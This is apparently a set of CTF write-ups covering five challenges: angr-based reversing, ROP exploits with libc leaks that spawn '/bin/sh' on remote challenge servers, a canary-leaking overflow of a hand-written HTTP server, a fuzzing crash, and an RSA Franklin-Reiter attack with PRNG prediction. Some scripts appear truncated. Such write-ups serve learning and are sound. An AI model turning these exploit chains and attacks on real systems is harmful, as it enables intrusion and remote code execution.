• Codegate CTF 2018 Preliminary RedVelvet

    This writeup describes how to solve the challenge with the help of angr. The challenge itself is a simple password input prompt wich outputs the flag afterwards.

    As the disassembled code looked like it would be easily solveable by angr I just wrote a small script. From looking at the disassembled code we can tell angr

    • where we want to go (right after passing all checks)
    • what to avoid (exit calls)
    • the needed length of the input string

    Furthermore I patched out a useless ptrace call and filled it with nops. I don’t know if that was necessary, but it reduced complexity for angr (no need to emulate it).

    import angr
    p = angr.Project('./RedVelvetPatch', load_options={"auto_load_libs": False})
    st = p.factory.entry_state()
    # in printable range
    for _ in xrange(26):
        k = st.posix.files[0].read_from(1)
        st.solver.add(k >= 0x20)
        st.solver.add(k <= 0x7e)
    # Constrain the last byte to be a newline
    k = st.posix.files[0].read_from(1)
    st.solver.add(k == 10)
    # Reset the symbolic stdin's properties and set its length.
    st.posix.files[0].length = 27
    sm = p.factory.simulation_manager(st)
    sm.explore(avoid=0x004007d0, find=0x0040152d)

    After a few minutes we got What_You_Wanna_Be?:)_lc_la, but this is not the correct password / flag. Sometimes there are multiple solutions when dealing with constraint solvers. In such a case one can modify the contraints to exclude the unwanted solution. But I noticed that there is a md5sum check included in the binary as well, so I just wrote a Python script bruteforcing the last 6 characters as the rest looked pretty good. This took too much time so i just decided to bruteforce the “lc” and “la” part, assuming the “_” to be correct. I immediately got the flag What_You_Wanna_Be?:)_la_la.

  • Codegate CTF 2018 Preliminary BaskinRobins31

    We were only provided with a x64 binary (no pic). It included an obvious overflow, allowing us to rop our way to the flag :) I could not find the used libc version (ok, i havent searched that hard), so I used pwnlibs DynELF Module. I wrote this writeup mainly to demonstrate the power of the DynELF Module in case you only have memory leaks at hand.

    About the exploit there is not that much to say. We have puts (for reading memory) and read (for writing memory). At the end of every ropchain I jump back to the entrypoint, effectively “restoring” the stack and allowing further exploitation. All gadgets were found with radares “/R/ …” utility.

    The plan is as follows:

    • leak a pointer into libc by reading address at GOT (needed by DynELF)
    • find out the address of system with the help of DynELF
    • write “/bin/sh” into unused GOT space
    • execute system(“/bin/sh”)
    • profit

    Now lean back and let DynELF do the work :D

    from pwn import *
    r = remote("ch41l3ng3s.codegate.kr", 3131)
    def leakat(addr):
        ropchain = struct.pack("<QQ", 0x00400bc3, addr)  # [pop rdi; ret;][addr]
        ropchain += struct.pack("<Q", 0x004006c0)  # [puts]
        ropchain += struct.pack("<Q", 0x00400780)  # entrypoint
        r.sendline("A" * 0xb8 + ropchain)
        r.recvuntil("Don't break the rules...:( \n")
        leak = r.recvuntil("###")[:-4]
        return leak + "\x00"
    def pwn():
        libcptr = leakat(0x00602028)  # points into got
        libcptr = libcptr + "\x00" * (8 - len(libcptr))
        libcptr = struct.unpack("<Q", libcptr)[0] - 0xf6000  # subtract offset for speedup
        d = DynELF(leakat, libcptr)
        systemaddr = d.lookup('system')
        # write "/bin/sh\x00" to 0x006020b8 (writeable and unused address)
        log.info("writing \"/bin/sh\" into got")
        ropchain = struct.pack("<QQQQ", 0x0040087a, 0, 0x006020b8, 8)  # [pop rdi; pop rsi; pop rdx; ret][stdin][rw@got][8]
        ropchain += struct.pack("<Q", 0x00400700)  # [read]
        ropchain += struct.pack("<Q", 0x00400780)  # entrypoint
        r.sendline("A" * 0xb8 + ropchain)
        r.recvuntil("Don't break the rules...:( \n")
        # triggering shell
        log.info("triggering system(\"/bin/sh\")")
        ropchain = struct.pack("<QQ", 0x00400bc3, 0x006020b8)  # [pop rdi; ret;]["/bin/sh"]
        ropchain += struct.pack("<Q", systemaddr)  # [system]
        r.sendline("A" * 0xb8 + ropchain)
        r.recvuntil("Don't break the rules...:( \n")
    if __name__ == '__main__':

    In the end, there is profit of course.

    [+] Opening connection to ch41l3ng3s.codegate.kr on port 3131: Done
    [!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
    [+] Finding base address: 0x7fa507ba4000
    [+] Resolving 'system': 0x7fa50818f000
    [*] writing "/bin/sh" into got
    [*] triggering system("/bin/sh")
    [*] Switching to interactive mode
    $ whoami
    $ ls
    $ cat flag
    flag{The Korean name of "Puss in boots" is "My mom is an alien"}
  • Insomni'hack teaser 2018 sapeloshop

    First of all, I assume that this was not the intended solution for the challenge as it was labeled with Difficulty: Medium-Hard. There were multiple bugs (two buffer overflow and a use after free, double free). I opted to solve it the easy way with a good old buffer overflow.

    The challenge itself was a handwritten HTTP server in C. You can put items in your shopping cart, increase and decrease their amount, and remove them from the cart. We were provided with the binary and libc, aslr, nx and stack canaries turned on. The bug I exploited was in the POST request handling. Consider following pseudocode:

    bool keepalive = true;
    while(keepalive) {
        char buf[0x4000];
        int pos;
        pos = read(fd, buf, 0x4000);
        if (!strstr(buf, "keep-alive"))
            keepalive = false;
        if (strstr(buf, "Content-Length"))
            read(fd, &buf[pos], MIN(getcontentlength(buf), 1024));

    So basically a simple buffer overflow. But before exploiting we need to leak the stack canary and the libc / proc base address. Wich was pretty easy. As the POST data is reused later, we could just overflow and leak by viewing our shopping cart (GET /cart HTTP/1.1). m1 The first red area is the HTTP request, second one is POST data. First green square is the stack canary, second a proc pointer and the third one belongs to libc_start_main_ret. If we send the above payload an item will be added to the shopping cart with the name “AAAA[cancary][procpointer]”. By increasing the amount of A’s we leak the libc_start_main_ret address as well and have all we need for pwnage! On all requests we set the “keepalive” to true, until we leaked everything and overwrote the stack properly with a simple ropchain ([pop rdi;ret]["/bin/sh"][system]). As soon as we set “keepalive” to false the ropchain will trigger system(“/bin/sh”).

    The flag was: INS{sapeurs_are_the_real_heapsters}.

    Full exploitcode we used, CTF codequality, unreliable:

    from pwn import *
    r = remote("sapeloshop.teaser.insomnihack.ch", 80)
    # r = remote("localhost", 31337)
    addr_binsh = 0x18cd57
    addr_system = 0x45390
    offset_libc = 0x20830   # libc start main ret
    offset_proc = 0x2370
    def leakall():
        payload = "POST /add HTTP/1.1\r\n" + \
                  "Connection: keep-alive\r\n" + \
                  "User-Agent: lolololol\r\n" + \
                  "Filler: " + "A" * 16283 + "\r\n" + \
                  "Content-Length: 0009\r\n" + \
                  "\r\n" + \
                  "desc=" + "A" * 4
        r.send("POST /cart HTTP/1.1\r\n" +
               "Connection: keep-alive\r\n" +
               "User-Agent: lolololol\r\n" +
        leak = "\x00" + r.recvn(13) + "\x00\x00"
        leak = struct.unpack("<QQ", leak)
        leak_canary = leak[0]
        leak_proc = leak[1] - offset_proc
        payload = "POST /add HTTP/1.1\r\n" + \
                  "Connection: keep-alive\r\n" + \
                  "User-Agent: lolololol\r\n" + \
                  "Filler: " + "A" * 16283 + "\r\n" + \
                  "Content-Length: 0024\r\n" + \
                  "\r\n" + \
                  "desc=" + "A" * 19
        r.send("POST /cart HTTP/1.1\r\n" +
               "Connection: keep-alive\r\n" +
               "User-Agent: lolololol\r\n" +
        leak = r.recvn(6) + "\x00\x00"
        leak = struct.unpack("<Q", leak)
        leak_libc = leak[0] - offset_libc
        return leak_canary, leak_libc, leak_proc
    def pwn():
        cancary, libcbase, procbase = leakall()
        print("canary: {}\nlibc: {}\nproc: {}".format(hex(cancary), hex(libcbase), hex(procbase)))
        ropchain = "A" * 8
        ropchain += struct.pack("<Q", procbase + 0x23d3)  # pop rdi;ret
        ropchain += struct.pack("<Q", libcbase + addr_binsh)  # /bin/sh
        ropchain += struct.pack("<Q", libcbase + addr_system)  # system
        payload = "POST /add HTTP/1.1\r\n" + \
                  "Connection: close\r\n" + \
                  "User-Agent: lolololol\r\n" + \
                  "Filler: " + "A" * 16288 + "\r\n" + \
                  "Content-Length: 0048\r\n" + \
                  "\r\n" + \
                  "desc=AAA" + struct.pack("<Q", cancary) + ropchain
    if __name__ == '__main__':
  • 3DSCTF maTTrYx

    When connecting to the challenge we were greeted with a matrix like animation.


    I first tried to find some hidden messages in the printed chars. I did:

    • Check the distance between chars
    • Check the amount of printed chars
    • Check for hidden bitstrings encoded as bold and thin printed chars
    • Check for whitespace and ‘whitespace like’ character use

    But realised (pretty late) that everything was completely equally distributed and no cyclic occurrences at all. So probably no hidden mesages in there.

    However there is still hope. If we write some data it would be echoed. This is unusual behaviour as it needs to be implemented on purpose. I tried a lot of special chars, quoutes and escape sequences without success. Also the challenge was in misc, so propably no pwnage here.

    I was really clueless at that moment and spend way too much time on the challenge by that time so I decided to just pipe some random bullshit into it and wait for what it returns.

    from pwn import *
    import random
    r = remote('mattryx01.3dsctf.org', 8012)
    if __name__ == '__main__':
        while True:
            pl = ''
            for n in range(random.randint(1, 20)):
                pl += chr(random.randint(0, 255))

    Aaaand we got a crash after a few seconds. And a base64 encoded string. m1 It turns out that the base64 string decodes to 3DS{M3rRy_ChR, wich is the beginning of a flag. Okay, I see… We probably send some control characters and for some reason it crashed and gave us a part of the flag. We now could investigate more and look wich secquence caused the crash, but I had an even better Idea. Just crash it a few more times. Finally we got three different base64 encoded strings wich, decrypted and concaternated, resulted in the flag:


  • TUCTF Crypto Clock

    The challenge came with the description:

    These damn hackers have hit our NTP server with something called crypto clock... 
    Our sysadmin found these suspicious packets just before our systems went down. 
    Can you get back in??? nc cryptoclock.tuctf.com 1230

    and a downloadable pcap. The network traffic in the pcap contained a base64 string that contained the following Python program:

    #!/usr/bin/env python
    import sys
    import random
    import arrow
    flag = "THEFLAG"
    keys = {
        "e": 3
    #now to get some randomness in here!
    with open('/dev/urandom', 'rb') as f:
        rand = f.read(8)
    rand_int = int(rand.encode('hex'),16)
    #now lets use something easier.
    offset = random.randint(big_1,big_2)
    while True:
        sys.stdout.write( '''Welcome to the ntp server
    What would you like to do?
        1) get current time
        2) enter admin area
        3) exit
        response = raw_input('')
        if response == '1':
            time = arrow.utcnow().timestamp + offset
            enc_time = pow(time,keys['e'],keys['n'])
            sys.stdout.write('HAHAHAHAHAHA, this NTP server has been taken over by hackers!!!\n')
            sys.stdout.write('here is the time encrypted with sweet RSA!\n')
        elif response == '2':
            # lets get even more random!
            time = arrow.utcnow().timestamp + offset
            guessing_int = random.randint(0,999999999999)
            sys.stdout.write('''ACCESS IS ONLY FOR TRUE HACKERS!
    to prove you are a true hacker, predict the future:''')
            response = raw_input('')
            if response == str(guessing_int):
                sys.stdout.write('''Wow, guess you are a hacker.\n''')
                sys.stdout.write('''I knew you weren't a hacker''')
            print 'Good by.'

    This service gives us the flag once we input the next random number from random.randint(0,999999999999). The PRNG is seeded with the UTC time and a fairly large offset

    rand_int = int(rand.encode('hex'),16)
    #now lets use something easier.
    offset = random.randint(big_1,big_2)

    The service also offers us the RSA encrypted seed enc_time = pow(time,keys['e'],keys['n']). Important here ist that we can request as many enc_time’s with the same secret offset as we want. Because of that we could probably request a couple of cipher texts and then calculate the seed.

    More interesting though: this is a pitch perfect example of a related cipher text vulnerablility. Since the point of CTFs is to learn, we decided to go into that direction.

    A practical attack for this scenario is the Franklin Reiter Related Message Attack.

    Franklin and Reiter stated that, given an RSA public key N,e \langle N, e \rangle with low exponent (such as 3 in this case) and two related plain texts M1M2ZNM_1 \neq M_2 \in Z_{N}^{\ast} that satisfy M1f(M2)(modN)M_1 \equiv f(M_2) \pmod{N} with linear f=ax+b,b0f = ax + b, b \neq 0 we can recover the plaintext in logNlog N.

    This is obviously given here, since we can wait one second between requesting the cipher texts, so in our case it is f=x+1f = x + 1.

    Given all this we can create the two polynomials g1(x)=f(x)eC1ZNg_1(x) = f(x)^e - C_1 \in \mathbb{Z}_N and g2(x)=xeC2ZNg_2(x) = x^e - C_2 \in \mathbb{Z}_N. M2 M_2 is a root of both polynomials, so xM2 x-M_2 divides them both.

    This means, to find M2 M_2 we have to compute the gcd(g1,g2)gcd(g_1, g_2) giving us the common factor xM2 x-M_2 . To see why this always works for the exponent 3 (and mostly for other small exponents) see the mentioned paper.

    Unfortunately I didn’t find any Python code for calculating the GCD for a ring over a composite modulus. I was half way through writing the eea for polynomials with modulus myself when I stumpled upon the nifty Poly.set_modulus method in sympy’s polynomials implementation that does exactly what is needed here.

    Using that, the exploit is rather short. We can use sympy’s gcd function:

    f1 = poly(x**e - c1).set_modulus(n)
    f2 = poly((x + 1)**e - c2).set_modulus(n)
    -gcd(f1, f2).coeffs()[-1]  # sympy is awesome!

    We take the negated last coefficient of the resulting term (xM2 x-M_2 ), which is our plain text string M2 M_2 .

    After receiving the plain text, which is used as seed, we can compute the next random number.

    After way too much time of running the exploit locally and failing remotely, I realized that the server side is using Python 2. The PRNG implementations between Python 2 (LCG) and Python 3 (Mersenne-Twister) do not have much in common.

    The final exploit looks like this:

    import pexpect
    import subprocess
    import re
    from sympy import poly, symbols, gcd
    from time import sleep
    n = 142592923782837889588057810280074407737423643916040668869726059762141765501708356840348112967723017380491537652089235085114921790608646587431612689308433796755742900776477504777927984318043841155548537514797656674327871309567995961808817111092091178333559727506289043092271411929507972666960139142195351097141
    e = 3
    x = symbols('x')
    num_re = re.compile("RSA!\r\n([0-9]+)\r\nWelcome")
    def get_plain(c1, c2, offset):
        f1 = poly(x**e - c1).set_modulus(n)
        f2 = poly((x + 1)**e - c2).set_modulus(n)
        return -gcd(f1, f2).coeffs()[-1]  # sympy is awesome!
    def next_rand(offset):
        out = subprocess.check_output(["python2", "-c",  'import random; random.seed({}); print(random.randint(0,999999999999))'.format(offset)], stderr=subprocess.STDOUT)
        return int(out.decode().strip()) 
    def extract_num(s):
        return int(num_re.findall(s)[0])
    while True:
        cmd = pexpect.spawn("nc cryptoclock.tuctf.com 1230")
        c1 = extract_num(cmd.before.decode())
        c2 = extract_num(cmd.before.decode())
        if c1 == c2:
            continue  # Didnt get different seconds, skipping.
        plain_text = get_plain(c1, c2, 1)
        n_rand = next_rand(plain_text + 1)
        print("Next random number: {}".format(n_rand))
        print(cmd.before.decode() + "}")

    Running it gives us:

    Next random number: 70906011219
    Wow, guess you are a hacker.